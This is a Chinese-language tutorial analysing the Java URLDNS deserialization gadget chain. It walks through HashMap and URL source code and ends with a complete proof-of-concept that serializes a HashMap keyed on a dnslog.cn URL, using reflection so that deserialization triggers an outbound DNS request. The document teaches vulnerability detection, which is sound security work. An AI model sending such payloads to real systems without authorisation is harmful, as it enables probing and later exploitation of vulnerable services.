Java安全 URLDNS链分析

什么是URLDNS链

URLDNS链是Java安全中比较简单的一条利用链，无需使用任何第三方库，全依靠Java内置的一些类实现，但无法进行命令执行，只能实现对URl的访问探测（发起DNS请求），并且不限制Java版本，可以用于检测是否存在反序列化漏洞，理解好URLDNS链，那么接下来对CC链的学习就会简单许多

URLDNS链分析

调用链路

Gadget Chain:

    HashMap.readObject()

             HashMap.putVal()

                     HashMap.hash()

                             URL.hashCode()

HashMap类分析

我们来到 HashMap.java文件，查看HashMap类的readObject方法，代码如下

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node[] tab = (Node[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

我们看下该方法的最后一行代码

putVal(hash(key), key, value, false, false);

发现调用了对 key变量 调用了该类里里面的hash函数，然后我们分析下key参数是怎么获得的

通过以下代码可以看出定义了一个K类型的key变量，然后对反序列化的输入流进行反序列化，并把反序列化出的键复制给key变量

K类型是代表键的泛型，其定义的数据可以是任何类型，但只能作为map中的键

K key = (K) s.readObject();

我们再看下 hash 函数是如何对key处理的，我们在HashMap类中找到hash函数代码如下

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

经分析，只要我们的key对象，也就是传入map的键不为空，就会执行h = key.hashCode()，也就是执行key对象里的hashCode()方法

URL类分析

这里接上文，假设我们传入map中的key为URL对象，那么便调用URL类中的hashCode()方法，我们看下这个方法的代码

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

这里看到，只要 hashCode = -1的话，那么便会执行handler.hashCode(this);，我们去看下 hashcode 属性是怎么定义的

private int hashCode = -1;

我们发现 hashcode 的初始值为 -1，也就是默认执行handler.hashCode(this);，我们再去看看 handler 是怎么定义的，代表了什么，通过下面可得：handler属性代表了URLStreamHandler类的临时对象

transient URLStreamHandler handler;
//这个URL传输实现类是一个transient临时类型，不会被反序列化

经分析，也就是把这一整个URL对象作为参数，传入了URLStreamHandler类的hashCode方法

this代表的是当前对象的指针，也可以用 this.name 的方式调用当前对象中的成员

那我们去URLStreamHandler类当中，查看下hashCode方法的代码

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

我们看到 hashcode 方法接收一个URL类型的参数，然后对接收的 URL对象，也就是前面的key执行InetAddress addr = getHostAddress(u);，并会把求出的 hash值 返回给 URL对象中的hashCode属性（这里记住，下面有用到）

getHostAddress函数会对URL对象代表的链接进行DNS解析，获取其ip地址，我们使用 DNSLog 平台可以检测到该函数的访问

exp编写

思路整理

根据上面的链路分析，我们首先需要创建一个指向DNSLog平台链接的URL对象，然后作为键传入HashMap数组，最后将该数组进行序列化，然后反序列化调用其readObject方法，将URL对象赋值给key，然后使用hash方法处理URL对象，再调用URL对象的hashcode方法，然后以URL对象为参数，传入URLStreamHandler类的hashCode方法，对URL对象指向的链接进行访问

初步exp

现在的exp大体如下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://j0obud.dnslog.cn/");//这里替换为DNSLog平台分配的地址
        map.put(url,"114");//键值用不到，随便设置
        try {
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我们在第13行打个断点，也就是try的这一行

然后运行代码，发现未经序列化与反序列化仍然能对url进行DNS解析

正是下面这一行代码导致了url的提前解析

map.put(url,"114");//键值用不到，随便设置

我们去看下map(HashMap类)的put方法，代码如下

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

我们发现，这个put方法和readObject方法触发的语句完全一样，同样会对URL对象执行HashMap类中的hash方法，然后就和上文所述的过程相同，最总到达hashCode方法，对URL对象解析

return putVal(hash(key), key, value, false, true);

下面是这两个方法的语句对比可以看到是一模一样的

put方法：

readObject方法：

需要注意的是假如提前触发的话，反序列化的时候便不会再进行DNS解析

我们再次回到URL类中的hashCode方法，并看一下其hashCode属性的定义

private int hashCode = -1;
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看到只有当 hashCode = -1时，才会执行hashCode = handler.hashCode(this);，从而到下一步DNS解析，然后 hashCode属性被赋值为这个URL解析的哈希值，从而为一个很长的正数，从而不为 -1,然后序列化的时候这个hashCode属性值保持不变，当反序列化到hashCode方法时，以为 hashCode != -1 直接进入if，执行return hashCode;，最终到这里就断掉了，无法触发DNS解析

exp改进

那怎么办呢？

我们可以先在put时，将 hashCode 值通过反射修改为任意一个不为 -1 的数字，从而不会提前触发DNS解析，然后在put完成后，我们再通过反射将 hashCode值设为 -1，示例如下

field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上，随便设置
field.set(url,-1);//put完之后，我们就需要将hashcode属性改回成-1，从而能执行handler.hashCode(this);

通过反射我们可以动态修改一个对象中的属性和方法

最终exp

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址
        Class clas = url.getClass();
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //将url的hashcode属性改为123使其不等于-1
        map.put(url,"2333"); //这里的value用不上，随便设置
        field.set(url,-1);//put完之后，我们就需要将hashcode属性改回成-1，从而能执行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化，此时触发dns请求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我们再次在put语句下面打断点，观察是否还会提前触发，可以看到DNSLog平台没有记录，代表put时由于hashCode值不为 -1 ，没有执行handler.hashCode(this)

我们在断点处继续执行，可以看到反序列化成功触发了DNS解析